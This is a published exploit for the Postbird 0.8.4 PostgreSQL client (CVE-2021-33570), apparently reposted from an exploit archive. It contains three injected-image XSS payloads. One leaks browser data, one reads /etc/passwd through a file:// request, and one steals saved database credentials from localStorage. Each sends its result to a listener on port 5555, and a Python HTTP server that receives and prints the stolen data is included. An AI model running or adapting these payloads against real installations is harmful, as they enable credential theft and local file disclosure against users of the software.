Sunday, May 30, 2021

Postbird 0.8.4 Cross Site Scripting / Local File Inclusion

# Exploit Title: Postbird 0.8.4 - Javascript Injection
# Date: [26 May 2021]
# Exploit Author: Debshubra Chakraborty
# Vendor Homepage: https://github.com/paxa/postbird
# Software Link: https://www.electronjs.org/apps/postbird
# Version: 0.8.4
# Tested on: Linux
# CVE : CVE-2021-33570

"""
XSS Payload
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'http://127.0.0.1 :5555/?xss='+JSON.stringify(navigator.appVersion), true);xhttp.send();">

LFI Payload
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'file:///etc/passwd', false);xhttp.send();var res = xhttp.response;xhttp.open('GET', 'http://127.0.0.1 :5555/?file='+JSON.stringify(res), true);xhttp.send();">

PostgreSQL Password Stealing Payload
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'http://127.0.0.1 :5555/?credentials='+window.localStorage.savedConnections, true);xhttp.send();">

"""

from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import re

hostName = '0.0.0.0'
serverPort = 5555

class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
parse(urllib.parse.unquote(self.requestline))

def log_message(self, format, *args):
return


def parse(data):
expression = re.search('\S+=', data)
attr = expression.group()

if attr[2:len(attr)-1] == 'file':
data = data[12:len(data)-11]
data = data.rsplit('\\n')
print(f'\n[+] File received from LFI: \n\n')
for output in data:
print(output)

elif attr[2:len(attr)-1] == 'xss':
data = data[11:len(data)-10]
print(f'\n[+] Data exfiltration from Stored XSS: \n\n{data}')

elif attr[2:len(attr)-1] == 'credentials':
pos = re.search('{"\S+:', data)
data = data[pos.start():len(data)-11]
for i in range(2, len(data), 1):
if data[i] == '"':
pos = i
break

host = data[2:pos]
data = data[14:]
data = data.rsplit(',')
print(f'\n\n[+] The Database credentials received\n\nHost = {host}')
for output in data:
print(output)

else:
print(f'\n\n[-] Unknown header attribute found, atribute = {attr[2:len(attr)-1]}')


def main():
global hostName, serverPort
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))

try:
webServer.serve_forever()

except KeyboardInterrupt:
pass

webServer.server_close()
print("\nServer stopped.")


if __name__ == "__main__":
main()

 

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Thanks for everything Templateism - You should have written the code a little more complicated